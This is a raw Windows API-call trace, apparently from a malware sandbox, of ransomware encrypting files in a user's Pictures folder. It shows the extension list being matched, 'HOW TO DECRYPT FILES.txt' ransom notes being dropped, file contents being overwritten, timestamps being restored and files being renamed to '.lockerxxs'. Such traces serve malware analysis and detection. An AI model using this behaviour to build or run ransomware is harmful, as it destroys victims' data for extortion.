lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt" [0091.276] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\how to decrypt files.txt")) returned 0x20 [0091.276] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\", lpString2="Ex3Q.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg" [0091.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.ems") returned 0 [0091.276] lstrlenA (lpString="*.ems") returned 5 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.db") returned 0 [0091.277] lstrlenA (lpString="*.db") returned 4 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.dbf") returned 0 [0091.277] lstrlenA (lpString="*.dbf") returned 5 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.myox") returned 0 [0091.277] lstrlenA (lpString="*.myox") returned 6 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.myo") returned 0 [0091.277] lstrlenA (lpString="*.myo") returned 5 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.qbw") returned 0 [0091.277] lstrlenA (lpString="*.qbw") returned 5 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.qbb") returned 0 [0091.277] lstrlenA (lpString="*.qbb") returned 5 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.qbm") returned 0 [0091.277] lstrlenA (lpString="*.qbm") returned 5 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.qbo") returned 0 [0091.277] lstrlenA (lpString="*.qbo") returned 5 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.qbx") returned 0 [0091.277] lstrlenA (lpString="*.qbx") returned 5 [0091.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.qba") returned 0 [0091.278] lstrlenA (lpString="*.qba") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.qby") returned 0 [0091.278] lstrlenA (lpString="*.qby") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.qbj") returned 0 [0091.278] lstrlenA (lpString="*.qbj") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.ofx") returned 0 [0091.278] lstrlenA (lpString="*.ofx") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.qif") returned 0 [0091.278] lstrlenA (lpString="*.qif") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.mye") returned 0 [0091.278] lstrlenA (lpString="*.mye") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.mbox") returned 0 [0091.278] lstrlenA (lpString="*.mbox") returned 6 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.eml") returned 0 [0091.278] lstrlenA (lpString="*.eml") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.pst") returned 0 [0091.278] lstrlenA (lpString="*.pst") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.ost") returned 0 [0091.278] lstrlenA (lpString="*.ost") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.idx") returned 0 [0091.278] lstrlenA (lpString="*.idx") returned 5 [0091.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.dbx") returned 0 [0091.279] lstrlenA (lpString="*.dbx") returned 5 [0091.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.sql") returned 0 [0091.279] lstrlenA (lpString="*.sql") returned 5 [0091.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.mdb") returned 0 [0091.279] lstrlenA (lpString="*.mdb") returned 5 [0091.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.fdb") returned 0 [0091.279] lstrlenA (lpString="*.fdb") returned 5 [0091.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.wab") returned 0 [0091.279] lstrlenA (lpString="*.wab") returned 5 [0091.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.dat") returned 0 [0091.279] lstrlenA (lpString="*.dat") returned 5 [0091.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.txt") returned 0 [0091.279] lstrlenA (lpString="*.txt") returned 5 [0091.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.jpeg") returned 0 [0091.279] lstrlenA (lpString="*.jpeg") returned 6 [0091.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", pszSpec="*.jpg") returned 1 [0091.279] lstrlenA (lpString="*.jpg") returned 5 [0091.279] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg" [0091.279] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg" [0091.279] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg." [0091.279] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg.lockerxxs" [0091.279] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\ex3q.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0091.280] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5370 [0091.280] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xf9bc91c0, dwHighDateTime=0x1d5d7f2), lpLastAccessTime=0x407536*(dwLowDateTime=0xd9a4c6f0, dwHighDateTime=0x1d5dd29), lpLastWriteTime=0x40753e*(dwLowDateTime=0xd9a4c6f0, dwHighDateTime=0x1d5dd29)) returned 1 [0091.280] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.280] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x534a, lpOverlapped=0x0) returned 1 [0091.282] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg") returned="Ex3Q.jpg" [0091.282] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.282] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x534a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x534a, lpOverlapped=0x0) returned 1 [0091.283] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.283] CloseHandle (hObject=0x8c) returned 1 [0091.283] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\ex3q.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\ex3q.jpg.lockerxxs")) returned 1 [0091.284] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b180b0, ftCreationTime.dwHighDateTime=0x1d5e7e1, ftLastAccessTime.dwLowDateTime=0xf274a3b0, ftLastAccessTime.dwHighDateTime=0x1d5dde4, ftLastWriteTime.dwLowDateTime=0xf274a3b0, ftLastWriteTime.dwHighDateTime=0x1d5dde4, nFileSizeHigh=0x0, nFileSizeLow=0x1797d, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="tmUsVmOJOG5Chco34.jpg", cAlternateFileName="TMUSVM~1.JPG")) returned 1 [0091.284] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.284] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tmUsVmOJOG5Chco34.jpg") returned -1 [0091.284] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tmUsVmOJOG5Chco34.jpg") returned -1 [0091.284] lstrcmpiA (lpString1="", lpString2="tmUsVmOJOG5Chco34.jpg") returned -1 [0091.284] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\Ex3Q.jpg") returned="Ex3Q.jpg" [0091.284] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" [0091.284] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\") returned="" [0091.284] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt" [0091.284] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\how to decrypt files.txt")) returned 0x20 [0091.284] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\", lpString2="tmUsVmOJOG5Chco34.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg" [0091.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.ems") returned 0 [0091.284] lstrlenA (lpString="*.ems") returned 5 [0091.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.db") returned 0 [0091.284] lstrlenA (lpString="*.db") returned 4 [0091.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.dbf") returned 0 [0091.284] lstrlenA (lpString="*.dbf") returned 5 [0091.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.myox") returned 0 [0091.284] lstrlenA (lpString="*.myox") returned 6 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.myo") returned 0 [0091.285] lstrlenA (lpString="*.myo") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.qbw") returned 0 [0091.285] lstrlenA (lpString="*.qbw") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.qbb") returned 0 [0091.285] lstrlenA (lpString="*.qbb") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.qbm") returned 0 [0091.285] lstrlenA (lpString="*.qbm") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.qbo") returned 0 [0091.285] lstrlenA (lpString="*.qbo") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.qbx") returned 0 [0091.285] lstrlenA (lpString="*.qbx") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.qba") returned 0 [0091.285] lstrlenA (lpString="*.qba") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.qby") returned 0 [0091.285] lstrlenA (lpString="*.qby") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.qbj") returned 0 [0091.285] lstrlenA (lpString="*.qbj") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.ofx") returned 0 [0091.285] lstrlenA (lpString="*.ofx") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.qif") returned 0 [0091.285] lstrlenA (lpString="*.qif") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.mye") returned 0 [0091.285] lstrlenA (lpString="*.mye") returned 5 [0091.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.mbox") returned 0 [0091.286] lstrlenA (lpString="*.mbox") returned 6 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.eml") returned 0 [0091.286] lstrlenA (lpString="*.eml") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.pst") returned 0 [0091.286] lstrlenA (lpString="*.pst") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.ost") returned 0 [0091.286] lstrlenA (lpString="*.ost") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.idx") returned 0 [0091.286] lstrlenA (lpString="*.idx") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.dbx") returned 0 [0091.286] lstrlenA (lpString="*.dbx") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.sql") returned 0 [0091.286] lstrlenA (lpString="*.sql") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.mdb") returned 0 [0091.286] lstrlenA (lpString="*.mdb") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.fdb") returned 0 [0091.286] lstrlenA (lpString="*.fdb") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.wab") returned 0 [0091.286] lstrlenA (lpString="*.wab") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.dat") returned 0 [0091.286] lstrlenA (lpString="*.dat") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.txt") returned 0 [0091.286] lstrlenA (lpString="*.txt") returned 5 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.jpeg") returned 0 [0091.286] lstrlenA (lpString="*.jpeg") returned 6 [0091.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", pszSpec="*.jpg") returned 1 [0091.286] lstrlenA (lpString="*.jpg") returned 5 [0091.287] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg" [0091.287] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg" [0091.287] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg." [0091.287] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg.lockerxxs" [0091.287] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\tmusvmojog5chco34.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0091.287] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1797d [0091.287] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb3b180b0, dwHighDateTime=0x1d5e7e1), lpLastAccessTime=0x407536*(dwLowDateTime=0xf274a3b0, dwHighDateTime=0x1d5dde4), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf274a3b0, dwHighDateTime=0x1d5dde4)) returned 1 [0091.287] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.287] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x17957, lpOverlapped=0x0) returned 1 [0091.291] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg") returned="tmUsVmOJOG5Chco34.jpg" [0091.291] 